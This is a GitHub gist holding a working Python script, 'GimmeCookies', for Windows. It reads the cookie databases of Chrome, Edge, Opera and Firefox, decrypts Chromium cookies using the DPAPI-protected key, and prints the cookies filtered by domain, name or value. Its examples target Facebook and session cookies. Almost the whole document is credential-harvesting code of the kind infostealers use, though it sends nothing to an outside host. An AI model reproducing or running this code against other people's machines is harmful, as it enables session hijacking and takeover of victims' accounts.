Skip to content

Instantly share code, notes, and snippets.

@xeinebiu
Created June 13, 2022 18:50
Show Gist options
  • Save xeinebiu/7b9571a9e1a221d096637777a5b22b97 to your computer and use it in GitHub Desktop.
Save xeinebiu/7b9571a9e1a221d096637777a5b22b97 to your computer and use it in GitHub Desktop.
A python script that searches with RegEx and returns cookie values in window machines
# GimmeCookies v0.5
# A python script that searches and returns cookie values in window machines
# by GramThanos
#
# Example Usage:
# python.exe .\GimmeCookies.py [-h] [-d domain] [-n name] [-v value] [-f format] [-c]
# python.exe .\GimmeCookies.py --help
# python.exe .\GimmeCookies.py -d ".*\.facebook\.com$" -f csv
# python.exe .\GimmeCookies.py -d ".*\.facebook\.com$" -f csv
# python.exe .\GimmeCookies.py -d ".*\.facebook\.com$" -f json
# python.exe .\GimmeCookies.py -n "session" -f csv --count
#
# Based on:
# https://gist.github.com/DakuTree/98c8362fb424351b803e
# https://gist.github.com/jordan-wright/5770442
# https://gist.github.com/DakuTree/428e5b737306937628f2944fbfdc4ffc
# https://stackoverflow.com/questions/60416350/chrome-80-how-to-decode-cookies
# https://stackoverflow.com/questions/43987779/python-module-crypto-cipher-aes-has-no-attribute-mode-ccm-even-though-pycry
# https://realpython.com/command-line-interfaces-python-argparse/
import os
import io
import re
import csv
import sys
import json
import base64
import sqlite3
import argparse
import configparser
# We only run on windows
if not os.name == 'nt':
sys.exit('This script runs only in Windows')
# python.exe -m pip install pywin32
import win32crypt
# python.exe -m pip install pycryptodomex
from Cryptodome.Cipher import AES
# Match rules
rule_host = '.*'
rule_name = '.*'
rule_value = '.*'
# Output format
output_format = 'csv'
only_count = False
# Arguments
myArgParser = argparse.ArgumentParser(description='Gimme the cookies I want! Now!')
myArgParser.add_argument('-d', '--domain', metavar='domain', type=str, help='RegExp to match cookie domain')
myArgParser.add_argument('-n', '--name', metavar='name', type=str, help='RegExp to match cookie name')
myArgParser.add_argument('-v', '--value', metavar='value', type=str, help='RegExp to match cookie value')
myArgParser.add_argument('-f', '--format', metavar='format', type=str, help='Format to export data (CSV,JSON)')
myArgParser.add_argument('-c', '--count', action='store_true', help='Only count number of cookies found')
args = myArgParser.parse_args()
# Prepare rules
if args.domain:
rule_host = args.domain
if args.name:
rule_name = args.name
if args.value:
rule_value = args.value
try:
rule_host = re.compile(rule_host)
except Exception as e:
rule_host = re.compile('.*')
print('Invalid host name rule. Ignored.')
try:
rule_name = re.compile(rule_name)
except Exception as e:
rule_name = re.compile('.*')
print('Invalid name rule. Ignored.')
try:
rule_value = re.compile(rule_value)
except Exception as e:
rule_value = re.compile('.*')
print('Invalid value rule. Ignored.')
# Get selected format
if args.format:
output_format = args.format.lower()
if args.count:
only_count = True
# Chromium Load State
def base_chromium_loadStateInfo(path, state_file='Local State', cookies_file='Cookies'):
# State path
state = os.path.join(path, state_file)
# Check if state exist
if not os.path.exists(state):
return None
# Read state content
content = None
try:
with open(state, 'r') as file:
content = json.loads(file.read())
except:
return None
# Load encryption key
encryption_key = None
try:
encryption_key = base64.b64decode(content['os_crypt']['encrypted_key'])
encryption_key = encryption_key[5:]
encryption_key = win32crypt.CryptUnprotectData(encryption_key, None, None, None, 0)[1]
except:
encryption_key = None
# Load profiles
profiles = []
try:
# For each profile
for name in content['profile']['info_cache']:
# Check if a cookies files exists
if os.path.exists(os.path.join(path, name, cookies_file)):
# Add profile on the list
profiles.append(name)
except:
return None
# Return data
return {'profiles' : profiles, 'encryption_key': encryption_key}
# Chromium Get Cookies
def base_chromium_getCookies(path, encryption_key, cookies_file='Cookies'):
# Generate paths
path_cookies = os.path.join(path, cookies_file)
# Check if cookies file exist
if not os.path.exists(path_cookies):
return []
# Connect to the Database
conn = sqlite3.connect(path_cookies)
conn.text_factory = bytes
cursor = conn.cursor()
# Load cookies
cookies = []
# Get the cookies from database
cursor.execute('SELECT host_key, name, value, encrypted_value FROM cookies')
# For each cookie
for host_key, name, value, encrypted_value in cursor.fetchall():
# Decode host and name
host_key = host_key.decode('utf-8')
name = name.decode('utf-8')
# Check filters
if rule_host.match(host_key) and rule_name.match(name):
value = None
# Decrypt the encrypted_value
try:
# Try to decrypt as AES (2020 method)
cipher = AES.new(encryption_key, AES.MODE_GCM, nonce=encrypted_value[3:3+12])
value = cipher.decrypt_and_verify(encrypted_value[3+12:-16], encrypted_value[-16:])
except:
# If failed try with the old method
value = win32crypt.CryptUnprotectData(encrypted_value, None, None, None, 0)[1] or value or 0
value = value.decode('utf-8')
# Check filters
if rule_value.match(value):
cookies.append({'host' : host_key, 'name': name, 'value': value})
# Close database
conn.close()
# Return data
return cookies
# Mozilla Load Profiles
def base_mozilla_loadProfilesInfo(path, profiles_file='profiles.ini', cookies_file='cookies.sqlite'):
# Profiles ini path
profiles_ini = os.path.join(path, profiles_file)
# Check if profiles ini exist
if not os.path.exists(profiles_ini):
return None
# Read ini content
config = configparser.ConfigParser()
config.read(profiles_ini)
# Load profiles
profiles = []
try:
# For each profile
for profile in config:
if profile[:7] == 'Profile':
# Check if a cookies files exists
if os.path.exists(os.path.join(path, config[profile]['Path'], cookies_file)):
# Add profile on the list
profiles.append(config[profile]['Path'])
except:
return None
# Return data
return {'profiles' : profiles}
# Mozilla Get Cookies
def base_firefox_getCookies(path, cookies_file='cookies.sqlite'):
# Generate paths
path_cookies = os.path.join(path, cookies_file)
# Check if file exist
if not os.path.exists(path_cookies):
return []
# Connect to the Database
conn = sqlite3.connect(path_cookies)
cursor = conn.cursor()
# Load cookies
cookies = []
# Get the cookies from database
cursor.execute('SELECT host, name, value FROM moz_cookies')
# For each cookie
for host, name, value in cursor.fetchall():
# Check filters
if rule_host.match(host) and rule_name.match(name) and rule_value.match(value):
cookies.append({'host' : host, 'name': name, 'value': value})
# Close database
conn.close()
# Return data
return cookies
# Get Cookies for Google Chrome
def browser_GoogleChrome(raw=False):
# The path where the browser is installed "/../Local/Google/Chrome/User Data/"
path = os.path.join(os.getenv("APPDATA"), '..', 'Local', 'Google', 'Chrome', 'User Data')
# If installation folder was not found return
if not os.path.exists(path):
return [] if raw else None
# Get info
info = base_chromium_loadStateInfo(path)
if not info:
return [] if raw else None
# Get cookies for each profile
cookies = []
for profile in info['profiles']:
cookies += base_chromium_getCookies(os.path.join(path, profile), info['encryption_key'])
# Return results
return cookies if raw else {'browser' : "Google Chrome", 'cookies': cookies}
# Get Cookies for Microsoft Edge
def browser_MicrosoftEdge(raw=False):
# The path where the browser is installed "/../Local/Microsoft/Edge/User Data/"
path = os.path.join(os.getenv("APPDATA"), '..', 'Local', 'Microsoft', 'Edge', 'User Data')
# If installation folder was not found return
if not os.path.exists(path):
return [] if raw else None
# Get info
info = base_chromium_loadStateInfo(path)
if not info:
return [] if raw else None
# Get cookies for each profile
cookies = []
for profile in info['profiles']:
cookies += base_chromium_getCookies(os.path.join(path, profile), info['encryption_key'])
# Return results
return cookies if raw else {'browser' : "Microsoft Edge", 'cookies': cookies}
# Get Cookies for Opera
def browser_Opera(raw=False):
# The path where the browser is installed "/../Roaming/Opera Software/Opera Stable/"
path = os.path.join(os.getenv("APPDATA"), '..', 'Roaming', 'Opera Software', 'Opera Stable')
# If installation folder was not found return
if not os.path.exists(path):
return [] if raw else None
# Get info
info = base_chromium_loadStateInfo(path)
if not info:
return [] if raw else None
# Get cookies for each profile
cookies = []
for profile in info['profiles']:
cookies += base_chromium_getCookies(os.path.join(path, profile), info['encryption_key'])
# Return results
return cookies if raw else {'browser' : "Opera", 'cookies': cookies}
# Get Cookies for Mozilla Firefox
def browser_MozillaFirefox(raw=False):
# The path where the browser is installed "/../Roaming/Mozilla/Firefox/"
path = os.path.join(os.getenv("APPDATA"), '..', 'Roaming', 'Mozilla', 'Firefox')
# If installation folder was not found return
if not os.path.exists(path):
return [] if raw else None
# Get info
info = base_mozilla_loadProfilesInfo(path)
if not info:
return [] if raw else None
# Get cookies for each profile
cookies = []
for profile in info['profiles']:
cookies += base_firefox_getCookies(os.path.join(path, profile))
# Return results
return cookies if raw else {'browser' : "Mozilla Firefox", 'cookies': cookies}
# Get Cookies for Mozilla Firefox
def browser_MozillaFirefoxDev(raw=False):
# The path where the browser is installed "/../Roaming/Mozilla/Firefox/"
path = os.path.join(os.getenv("APPDATA"), '..', 'Roaming', 'Mozilla', 'Firefox')
# If installation folder was not found return
if not os.path.exists(path):
return [] if raw else None
# Get info
info = base_mozilla_loadProfilesInfo(path)
if not info:
return [] if raw else None
# Get cookies for each profile
cookies = []
for profile in info['profiles']:
cookies += base_firefox_getCookies(os.path.join(path, profile))
# Return results
return cookies if raw else {'browser' : "Mozilla Firefox Dev", 'cookies': cookies}
# Format output
def formatCookies(f, data, headers):
if f == 'json':
return json.dumps(data)
if f == 'csv':
output = io.StringIO()
writer = csv.DictWriter(output, fieldnames=headers, delimiter=",", quoting=csv.QUOTE_MINIMAL)
writer.writeheader()
writer.writerows(data)
return output.getvalue()
return data
# Gather cookies
data = []
data.append(browser_GoogleChrome())
data.append(browser_MicrosoftEdge())
data.append(browser_MozillaFirefox())
data.append(browser_Opera())
# Remove None from list
data = [i for i in data if i]
# If counters were requested
if only_count:
for i in range(len(data)):
data[i]['cookies'] = len(data[i]['cookies'])
print(formatCookies(output_format, data, ["browser", "cookies"]))
# If cookies were requested
else:
cookies = []
for browser in data:
cookies += browser['cookies']
print(formatCookies(output_format, cookies, ["host", "name", "value"]))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment